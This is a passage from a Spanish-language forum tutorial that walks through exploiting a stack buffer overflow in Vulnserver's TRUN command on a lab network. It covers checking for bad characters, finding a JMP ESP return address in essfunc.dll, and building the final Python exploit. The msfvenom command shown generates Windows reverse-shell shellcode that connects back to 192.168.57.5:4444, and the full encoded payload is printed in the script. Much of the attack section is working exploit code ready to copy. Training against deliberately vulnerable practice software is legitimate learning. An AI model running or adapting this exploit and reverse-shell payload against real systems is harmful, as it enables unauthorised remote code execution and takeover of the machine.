b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
shellcode = b"A" * 2003 + b"B" * 4 + badchars
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.13',9999))
payload = b"TRUN /.:/" + shellcode
s.send((payload))
s.close()
except:
print ("Error connecting to server")
sys.exit()
Como dije antes, con el .encode() no furula, así que hay que byte encodearlo 1 por 1, por eso está la "b" todo el rato ahí.
El script es lo mismo, petamos el buffer y el EBP con A's, luego el EIP con B's y luego le metemos los bad chars.
En el vulnserver, se vería algo así:
Ahora, seleccionamos el address del ESP y encontraremos estos bad chars examinando el ESP dump:
Un código sin bad chars furula sin interrupción, 01 02 03 ... FF. PEEEERO, uno que sí tiene bad chars, por ejemplo se salta uno, por ejemplo 11 12 el 13 falta 14 15... Pues asumimos que el 13 es un bad char.
Así se vería un servidor con bad chars:
Vemos que va bien 01 02 03 PERO 04 y 05 desaparecen y sigue con 06 07...
Importante: Cuando vemos dos caracteres consecutivos que se han perdido, sólo nos preocuparemos del primer caracter. Por lo que, el 04 es malo pero del 05 no tenemos que preocuparnos.
6. ENCONTRANDO EL MÓDULO CORRECTO
Con esto me refiero a un DLL o algo similar dentro de un programa que no tenga protecciones de memoria.
Para esto usaremos "Mona modules", que con un rápido googleo lo puedo encontrar.
Vemos varias direcciones con False y True. El punto ideal es encontrar todo False. En este caso, con el primero nos vale (essfunc.dll).
Ahora necesitaremos encontrar el opcode equivalente a un salto, que lo haremos con nasm_shell metiendole el comando "JMP ESP" (código de salto en assembly), que nos devolvería el código equivalente en hex que es FFE4.
Lo que hacemos es, que usamos esto como un puntero y saltará a nuestro preciado código malicioso.
Escribimos FFE4 en monay encontramos un puñado de direcciones
Todo lo que vemos son return addresses como el que marco con la flecha "0x625011af". Los escribiremos y los probaremos desde arriba a abajo (top-down) y veremos cuál furula. En este caso 0x625011af va bien.
Usamos otro script en python:
Python:
#!/usr/***/env python3
import sys, socket
shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62"
# 625011af
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.13',9999))
payload = b"TRUN /.:/" + shellcode
s.send((payload))
s.close()
except:
print ("Error connecting to server")
sys.exit()
Donde andes llenabamos de B's el EIP, ahora lo llnaremos con "625011af".
Si veis, lo pongo al revés y esto es porque las arquitecturas x86 usan little endian, por lo que guarda el byte de bajo orden en el address más bajo y el byte de mayor orden en el más alto.
Este script hará que el servidor pete y haremos cositas.
En el debugger ponemos un breaking point justo donde se hace el salto:
Lo que significa es, que cuando overfloweemos el programa, se parará en esa parte del código.
Ejecutamos nuestro script en kali y vemos que hemos modificado el EIP de forma victoriosa:
Vemos tambien que ha parado en el breakpoint:
Ahora solo falta la parte chula generar el shell y ganar root.
7. SHELLCODE Y ROOT
El shell lo generaremos con msfvenom de la siguiente manera:
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.57.5 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
Y nos genera otro tocho para copypastearlo en el script de python:
Es bueno ver el tamaño del payload, 351B en este caso, porque en el caso de que trabajemos con un espacio muy limitado, digamos que es de 200B, pues este script no nos valdría pa na.
El script quedaría algo así:
Python:
#!/usr/***/env python3
import sys, socket
overflow = (
b"\xb8\xd8\xeb\xab\x42\xda\xdd\xd9\x74\x24\xf4\x5e\x29\xc9"
b"\xb1\x52\x83\xee\xfc\x31\x46\x0e\x03\x9e\xe5\x49\xb7\xe2"
b"\x12\x0f\x38\x1a\xe3\x70\xb0\xff\xd2\xb0\xa6\x74\x44\x01"
b"\xac\xd8\x69\xea\xe0\xc8\xfa\x9e\x2c\xff\x4b\x14\x0b\xce"
b"\x4c\x05\x6f\x51\xcf\x54\xbc\xb1\xee\x96\xb1\xb0\x37\xca"
b"\x38\xe0\xe0\x80\xef\x14\x84\xdd\x33\x9f\xd6\xf0\x33\x7c"
b"\xae\xf3\x12\xd3\xa4\xad\xb4\xd2\x69\xc6\xfc\xcc\x6e\xe3"
b"\xb7\x67\x44\x9f\x49\xa1\x94\x60\xe5\x8c\x18\x93\xf7\xc9"
b"\x9f\x4c\x82\x23\xdc\xf1\x95\xf0\x9e\x2d\x13\xe2\x39\xa5"
b"\x83\xce\xb8\x6a\x55\x85\xb7\xc7\x11\xc1\xdb\xd6\xf6\x7a"
b"\xe7\x53\xf9\xac\x61\x27\xde\x68\x29\xf3\x7f\x29\x97\x52"
b"\x7f\x29\x78\x0a\x25\x22\x95\x5f\x54\x69\xf2\xac\x55\x91"
b"\x02\xbb\xee\xe2\x30\x64\x45\x6c\x79\xed\x43\x6b\x7e\xc4"
b"\x34\xe3\x81\xe7\x44\x2a\x46\xb3\x14\x44\x6f\xbc\xfe\x94"
b"\x90\x69\x50\xc4\x3e\xc2\x11\xb4\xfe\xb2\xf9\xde\xf0\xed"
b"\x1a\xe1\xda\x85\xb1\x18\x8d\x69\xed\x1b\x48\x02\xec\x5b"
b"\x43\x8e\x79\xbd\x09\x3e\x2c\x16\xa6\xa7\x75\xec\x57\x27"
b"\xa0\x89\x58\xa3\x47\x6e\x16\x44\x2d\x7c\xcf\xa4\x78\xde"
b"\x46\xba\x56\x76\x04\x29\x3d\x86\x43\x52\xea\xd1\x04\xa4"
b"\xe3\xb7\xb8\x9f\x5d\xa5\x40\x79\xa5\x6d\x9f\xba\x28\x6c"
b"\x52\x86\x0e\x7e\xaa\x07\x0b\x2a\x62\x5e\xc5\x84\xc4\x08"
b"\xa7\x7e\x9f\xe7\x61\x16\x66\xc4\xb1\x60\x67\x01\x44\x8c"
b"\xd6\xfc\x11\xb3\xd7\x68\x96\xcc\x05\x09\x59\x07\x8e\x29"
b"\xb8\x8d\xfb\xc1\x65\x44\x46\x8c\x95\xb3\x85\xa9\x15\x31"
b"\x76\x4e\x05\x30\x73\x0a\x81\xa9\x09\x03\x64\xcd\xbe\x24"
b"\xad"
)
shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow
# 625011af
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.57.13',9999))
payload = b"TRUN /.:/" + shellcode
s.send((payload))
s.close()
except:
print ("Error connecting to server")
sys.exit()
Entonces el shellcode: Parte 1 es para llegar el EIP, la parte 2 es para que el puntero nos redirija a la instrucción de salto y que se ejecute nuestro código que está en la parte tres, con el nombre de "overflow"
Le metemos 32 nops (\x90) como padding, para asegurar que entre el salto y el shellcode el código no interfiere con nada de nada. Si tenemos poco espacio pues usaríamos menos nops, 8 por ejemplo.
Ahora, iniciamos nuestro netcat para que escuche en 4444, que es el puerto que pusimos en el shell en metasploit.
Y luego, al iniciar el script y mandarlo al servidor vemos que tenemos cositas, ¿qué cositas? Pues el puto root:
Espero que no se os haya hecho muy pesado el post. Al que le interese que lo lea. Lo he escrito de una, le haré una revisión y bueno, si encontráis alguna falta pues bueno, es lo que hay, lo importante es que se entiende.
Al final he acabado explicando más de lo que pensaba pero bueno, se puede fragmentar más.
Have fun.
Adjuntos
Última edición: